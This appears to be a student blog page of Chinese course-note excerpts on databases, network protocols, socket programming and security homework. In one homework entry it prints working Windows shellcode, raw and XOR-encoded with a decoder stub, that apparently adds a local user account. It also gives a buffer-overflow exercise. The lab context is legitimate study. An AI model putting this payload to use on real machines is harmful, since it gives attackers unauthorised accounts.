第5章 缓冲区管理
缓冲区结构
frame的参数
- Dirty
- Frame中的块是否已经被修改
- Pin-count
- Frame的块的已经被请求并且还未释放的计数,即当前的用户数
- *Others
- Latch: 是否加锁
当请求块时
- 当一个程序请求一个不在内存中的数据块时,操作系统需要从磁盘中读取该数据块。
- 首先,它需要在内存中找到一个帧来存放这个数据块。
- 如果选中的帧是脏的(即,帧中的数据已被修改但尚未写回磁盘),那么操作系统需要先将这个帧的内容写回磁盘。
- 然后,操作系统从磁盘中读取请求的数据块,并将其放入选中的帧中。
- 最后,操作系统会增加该帧的固定计数Pin-count(即,标记该帧正在被使用),并返回该数据块在内存中的地址。这样,程序就可以直接访问内存中的数据,而不需要再次从磁盘中读取。这个过程是操作系统管理内存的重要部分,也是实现虚拟内存的关键。
当释放块时
- 当程序完成对一个数据块的访问后,它需要取消固定(unpin)包含该数据块的帧,以便操作系统可以在需要时重新使用该帧。
- 同时,如果程序修改了数据块的内容,它需要设置该帧的脏位(dirty bit)。脏位是用来标记帧中的数据是否已被修改,但尚未写回磁盘。如果脏位被设置,那么在帧被替换之前,操作系统需要先将帧的内容写回磁盘。这样可以确保磁盘中的数据始终是最新的,即使发生了系统崩溃或电源故障。
缓冲区替换策略
- 当内存中没有空闲的帧来存放新的数据块时,操作系统需要选择一个已经被使用的帧进行替换。选择哪个帧进行替换是由替换策略决定的,常见的替换策略包括最近最少使用(LRU),时钟,先进先出(FIFO),最近最常使用(MRU)等。
- 只有当帧的固定计数为0时,也就是说,当没有程序正在使用该帧时,该帧才会被考虑作为替换的候选者。
- 替换策略的选择可以对系统的I/O性能产生重大影响,因为每次替换都可能需要从磁盘中读取数据或将数据写回磁盘。不同的访问模式可能会导致某些替换策略比其他策略表现得更好。
理论最优算法:OPT算法
也称为Belady’s算法
8 分钟阅读3854 字
第2章 关系型数据库回顾
数据库体系结构
从模式的角度描述一般数据库系统的概念和结构
可以用于解释特定数据库系统的内部结构
ANSI/SPARC体系结构——三级模式结构+两级映象
10 分钟阅读5006 字
第1章 数据库系统概述
1.1. DBMS系统结构组成
数据库、DBMS、数据库系统等基本概念
数据
- 数据(Data)是数据库中存储的基本对象
- 数据的定义
- 人们用来反映客观世界而记录下来的可以鉴别的符号
- 数据的种类
- 数值数据:0-9
- 非数值数据:字符、文字、声音、图形、图像等
- 数据的特点
- 数据与其语义是不可分的
- 例子1:93是一个数据
- 语义1:学生某门课的成绩
- 语义2:某人的体重
- 语义3:计算机学院2016级学生人数
- 例子2:学生档案记录(李明,197205,中国科大,1990)
- 语义1:学生,出生年月,所在学校,毕业年份
- 语义2: 学生,出生年月,录取大学,入学时间
数据库
- 数据库的定义 数据库(Database,简称DB)是长期储存在计算机内、有 组织的、可共享的大量数据的集合
- 数据库的基本特征
- 数据按一定的数据模型组织、描述和储存
- 可为各种用户共享
- 数据间联系密切,具有最小的冗余度和较高的独立性
- 服务于某个特定的应用
- 例:图书馆的图书数据库、机场的航班数据库、银行数据库……
数据库模式 (Schema)
数据库模式是数据库中全体数据的逻辑结构和特征的描述 ![[Pasted image 20240108110812.png]]
信息网络协议基础第六章复习
路由器功能与架构
- 数据路径功能
- 根据分组目的IP地址查找转发表
- 通过交换结构转发到输出端口
- 输出端口调度和队列管理
- 控制面功能
- 运行路由协议,构建路由表
- 系统配置和管理
路由查找算法
Binary Trie
![[Pasted image 20240102174052.png]] ![[Pasted image 20240102174131.png]]
信息网络协议基础第五章复习
•基本概念
–QoS度量参数;流、行为集合、服务等级协议
基本概念
QoS度量参数
常用的描述QoS需求的参数包括:带宽、延迟、延迟抖动、突发(峰值)速率、最大突发长度、丢包率
信息网络协议基础第三章复习
CIDR
•CIDR:Classless Inter-Domain Routing,无类别域间寻路
- 目前Internet采用的IP地址分配方式,1990年代由IETF提出,取代早期的有类别的地址分配方式
- 采用可变长度的网络前缀(network prefix)来取代地址分类中网络号长度固定的做法
- 具有相同前缀的IP地址组成CIDR Block,表示为A.B.C.D/N,其中N为前缀长度
- 例如202.38.208.0/20
前缀汇聚(Supernetting)
前缀汇聚举例
8个连续的/24的CIDR Block可以用一个/21的CIDR Block来表示,因此对外汇聚成一条/21的路由
200.25.16.0/24200.25.23.0/24–〉0001 0111)
(0001 0000
200.25.16.0/21
信息网络协议基础第四章复习
移动切换
- 两种切换情况
- 切换涉及的AP在同一个网络中-链路层切换
- 链路层切换不改变IP地址,执行链路层操作
- 不改变五元组,对应用会话无影响
- 切换涉及的AP在不同的网络中-网络层切换
- 不同网络不同AP之间的切换首先执行链路层切换,再执行网络层切换,进行网络相关参数配置
- 移动节点IP地址发生变化
- 如何消除切换对应用会话的影响?
- 应用层解决方案:需要应用支持,本质上是重新建立IP会话
- 网络层解决方案:需要增强网络协议,对应用透明
- 切换涉及的AP在同一个网络中-链路层切换
- 应用会话大多通过五元组来标识
- <源/目的IP地址、协议、源/目的端口号>
- 不同的五元组对应着不同的应用会话
移动IPv6
– 基本原理、如何对上层应用屏蔽移动性?
信息网络协议基础第二章复习
接入网
- 用来把用户网络或者设备接入到Internet的网络
- 也被称为最后1公里接入
- 宽带接入成为主流(FCC [2010]: 4Mbps downstream/1Mbps upstream)
- DSL、Cable、Fibre、Wireless Broadband (Fixed/Mobile)
常用接入网类型
- 基于ATM架构类
- 传统电信网络:点对点
- DSL(数字用户线路)
- 对称DSL
- 下行和上行速率相同SHDSL(利用了话音带宽)
- 非对称DSL
- 下行速率一般大于上行速率
- ADSL
- ADSL2+:
- 对称DSL
- 基于IEEE 802参考模型的局域网架构类
- 新兴IP网络:共享
- 以太网(802.3)、无线局域网(802.11)、甚至包括无线城域网(802.16)
- 光纤接入类
- 基于ATM:APON、GPON
- 基于以太网:EPON
ATM
概述
ATM: Asynchronous Transfer Mode,异步传输模式
14 分钟阅读6824 字
信息网络协议基础第一章复习
交换技术
- 交换、电路交换、分组交换(虚电路交换ATM、数据报交换IP)- 原理 特点
为什么需要交换?
减少网络中节点之间所需的通信线路 增强可扩展性,构建更大规模网络
网络安全作业7
得分10/10
修改源代码
![[IMG_2949.png]]
shellcode
Z:\toStudentCh11-3>GetShellcode.exe
/* 292=0x124 bytes */
"\x33\xc0\x50\x68\x2f\x61\x64\x64\x68\x74\x30\x31\x20\x68\x20\x74"
"\x65\x73\x68\x75\x73\x65\x72\x68\x65\x78\x65\x20\x68\x6e\x65\x74"
"\x2e\x68\x70\x61\x64\x2e\x68\x6e\x6f\x74\x65\x8b\xfc\x68\x57\x66"
"\x0d\xff\x68\x63\x89\xd1\x4f\x68\xc9\xbc\xa6\x6b\x5a\xe8\x56\x00"
"\x00\x00\x8b\xf0\x5a\xe8\x4e\x00\x00\x00\x8b\xd8\xe8\x05\x00\x00"
"\x00\xe9\xce\x00\x00\x00\x51\x52\x56\x57\x55\x8b\xec\x8b\xd7\x83"
"\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0\x89\x04\x8f\xe2\xfb\xc6\x47"
"\x10\x44\x8d\x47\x10\x57\x50\x6a\x00\x6a\x00\x6a\x00\x6a\x00\x6a"
"\x00\x6a\x00\x52\x6a\x00\xff\xd6\x83\xf8\x00\x74\x03\x50\xff\xd3"
"\x8b\xe5\x5d\x5f\x5e\x5a\x59\xc3\x56\x53\x51\x52\xe8\x11\x00\x00"
"\x00\x83\xf8\x00\x7e\x07\x8b\xd8\xe8\x17\x00\x00\x00\x5a\x59\x5b"
"\x5e\xc3\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x00"
"\x8b\x40\x08\xc3\x8b\x43\x3c\x8b\x44\x18\x78\x03\xc3\x8b\xf0\x8b"
"\x4e\x18\x8b\x46\x20\x03\xc3\x8b\x44\x88\xfc\x03\xc3\x57\x8b\xf8"
"\xe8\x17\x00\x00\x00\x5f\x3b\xc2\x74\x06\xe2\xe6\x33\xc0\xeb\x0b"
"\x8b\x46\x1c\x03\xc3\x8b\x44\x88\xfc\x03\xc3\xc3\x53\x51\x52\x57"
"\x33\xd2\x0f\xbe\x07\x83\xf8\x00\x74\x13\x8b\xda\x8b\xca\xc1\xe3"
"\x19\xc1\xe9\x07\x0b\xd9\x8b\xd3\x03\xd0\x47\xeb\xe5\x8b\xc2\x5f"
"\x5a\x59\x5b\xc3";
XorByte=0xfe
/* 292=0x124 bytes */
"\xcd\x3e\xae\x96\xd1\x9f\x9a\x9a\x96\x8a\xce\xcf\xde\x96\xde\x8a"
"\x9b\x8d\x96\x8b\x8d\x9b\x8c\x96\x9b\x86\x9b\xde\x96\x90\x9b\x8a"
"\xd0\x96\x8e\x9f\x9a\xd0\x96\x90\x91\x8a\x9b\x75\x02\x96\xa9\x98"
"\xf3\x01\x96\x9d\x77\x2f\xb1\x96\x37\x42\x58\x95\xa4\x16\xa8\xfe"
"\xfe\xfe\x75\x0e\xa4\x16\xb0\xfe\xfe\xfe\x75\x26\x16\xfb\xfe\xfe"
"\xfe\x17\x30\xfe\xfe\xfe\xaf\xac\xa8\xa9\xab\x75\x12\x75\x29\x7d"
"\x12\xaa\x75\x02\x94\xea\xa7\xcd\x3e\x77\xfa\x71\x1c\x05\x38\xb9"
"\xee\xba\x73\xb9\xee\xa9\xae\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94"
"\xfe\x94\xfe\xac\x94\xfe\x01\x28\x7d\x06\xfe\x8a\xfd\xae\x01\x2d"
"\x75\x1b\xa3\xa1\xa0\xa4\xa7\x3d\xa8\xad\xaf\xac\x16\xef\xfe\xfe"
"\xfe\x7d\x06\xfe\x80\xf9\x75\x26\x16\xe9\xfe\xfe\xfe\xa4\xa7\xa5"
"\xa0\x3d\x9a\x5f\xce\xfe\xfe\xfe\x75\xbe\xf2\x75\xbe\xe2\x75\xfe"
"\x75\xbe\xf6\x3d\x75\xbd\xc2\x75\xba\xe6\x86\xfd\x3d\x75\x0e\x75"
"\xb0\xe6\x75\xb8\xde\xfd\x3d\x75\xba\x76\x02\xfd\x3d\xa9\x75\x06"
"\x16\xe9\xfe\xfe\xfe\xa1\xc5\x3c\x8a\xf8\x1c\x18\xcd\x3e\x15\xf5"
"\x75\xb8\xe2\xfd\x3d\x75\xba\x76\x02\xfd\x3d\x3d\xad\xaf\xac\xa9"
"\xcd\x2c\xf1\x40\xf9\x7d\x06\xfe\x8a\xed\x75\x24\x75\x34\x3f\x1d"
"\xe7\x3f\x17\xf9\xf5\x27\x75\x2d\xfd\x2e\xb9\x15\x1b\x75\x3c\xa1"
"\xa4\xa7\xa5\x3d";
Success: encode is OK
length of shellcode = 315 = 0x13b
/* 315=0x13b bytes */
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\x24\x01\x80\x34\x0b\xfe\xe2"
"\xfa\xc3\xe8\xeb\xff\xff\xff\xcd\x3e\xae\x96\xd1\x9f\x9a\x9a\x96"
"\x8a\xce\xcf\xde\x96\xde\x8a\x9b\x8d\x96\x8b\x8d\x9b\x8c\x96\x9b"
"\x86\x9b\xde\x96\x90\x9b\x8a\xd0\x96\x8e\x9f\x9a\xd0\x96\x90\x91"
"\x8a\x9b\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d\x77\x2f\xb1\x96\x37"
"\x42\x58\x95\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e\xa4\x16\xb0\xfe\xfe"
"\xfe\x75\x26\x16\xfb\xfe\xfe\xfe\x17\x30\xfe\xfe\xfe\xaf\xac\xa8"
"\xa9\xab\x75\x12\x75\x29\x7d\x12\xaa\x75\x02\x94\xea\xa7\xcd\x3e"
"\x77\xfa\x71\x1c\x05\x38\xb9\xee\xba\x73\xb9\xee\xa9\xae\x94\xfe"
"\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac\x94\xfe\x01\x28\x7d"
"\x06\xfe\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xa1\xa0\xa4\xa7\x3d\xa8"
"\xad\xaf\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe\x80\xf9\x75\x26\x16"
"\xe9\xfe\xfe\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f\xce\xfe\xfe\xfe\x75"
"\xbe\xf2\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d\x75\xbd\xc2\x75\xba"
"\xe6\x86\xfd\x3d\x75\x0e\x75\xb0\xe6\x75\xb8\xde\xfd\x3d\x75\xba"
"\x76\x02\xfd\x3d\xa9\x75\x06\x16\xe9\xfe\xfe\xfe\xa1\xc5\x3c\x8a"
"\xf8\x1c\x18\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd\x3d\x75\xba\x76\x02"
"\xfd\x3d\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40\xf9\x7d\x06\xfe\x8a"
"\xed\x75\x24\x75\x34\x3f\x1d\xe7\x3f\x17\xf9\xf5\x27\x75\x2d\xfd"
"\x2e\xb9\x15\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d";
命令成功完成。
Z:\toStudentCh11-3>
查看用户
NS 3初上手
介绍
ns3是用来进行网络仿真的一个平台
学习资源
略
安装
源码安装
详情可参考ns-3 Installation Guide — Installation guide
网络安全作业5
得分:10/10
C程序homework08.c的主函数如下:
int main(int argc, char * argv[]) {
init_buf(Lbuffer, LEN);
switch(argc)
{
case 1: f00(); break;
case 2: f01(); break;
case 3: f02(); break;
default: f00(); break;
}
puts("Done.\nThe program exited normally.");
return 0;
}
- 在32位的ubuntu16.04系统中用
gcc -fno-stack-protector
编译该程序,得到的可执行程序见附件,通过gdb调试,对f00()、f01()和f02()进行分析:
(1) 函数f00()、f01()和f02()是否导致段错误。
- 如果没有命令行参数(argc 等于 1,因为程序名本身也算一个参数),则执行函数 f00()。
- 如果有一个命令行参数(argc 等于 2),则执行函数 f01()。
- 如果有两个命令行参数(argc 等于 3),则执行函数 f02()。
- 如果有三个或更多的命令行参数,还是执行函数 f00()。 ![[Pasted image 20231122231415.png]]
函数foo()
, 和 foo01()
都会导致段错误。
TCP、IP网络编程第三章笔记
3.1 分配给套接字的IP地址与端口号
网络地址
略
用于区分套接字的端口号
IP用于区分计算机,只要有IP地址就能向目标主机传输数据,但仅凭这些无法传输给最终的应用程序。假设各位欣赏视频的同时在网上冲浪,这时至少需要1个接收视频数据的套接字和1 个接收网页信息的套接字。问题在于如何区分二者。简言之,传输到计算机的网络数据是发给播放器,还是发送给浏览器?
TCP、IP网络编程第二章笔记
2.1 套接字协议及其数据传输特性
协议
如果相隔很远的两人想展开对话,必须先决定对话方式。如果一方使用电话,那么另一方也只能使用电话,而不是书信。可以说,电话就是两人对话的协议。协议是对话中使用的通信规则, 把上述概念拓展到计算机领域可整理为“计算机间对话必备通信规则”。
TCP、IP网络编程第一章笔记
1.1 理解网络和套接字
套接字
套接字(socket)是计算机网络中进程间通信的一种机制,它将进程间通信抽象为一个端点,该端点由一个IP地址和一个端口号来标识。 套接字是网络数据传输用的软件设备。网络编程又称为套接字编程。
网络安全作业1
得分:9/10
第一章
1. 如果你的网络服务器被黑客远程控制,列举3个可能被破坏的安全属性, 并解释理由。 机密性: 理由:远程控制服务器后,黑客可以在未被授权的情况下获取个人信息、数据库记录等数据,导致数据泄露和隐私侵犯。 完整性: 理由:黑客远程服务器后,可以篡改服务器上的数据或者程序文件,修改网站内容、更改配置文件、插入恶意代码等。 可用性: 理由:黑客可能通过远程控制服务器发动拒绝服务攻击或直接禁用服务器上的关键服务和功能,导致服务器无法正常运行。 不可抵赖性: 理由:黑客可以使用服务器的访问权限执行恶意操作如数据篡改。如果服务器没有足够的安全措施来记录这些操作并确保其不可抵赖性,那么黑客可能会否认曾经执行过这些操作,导致难以追踪和证明责任。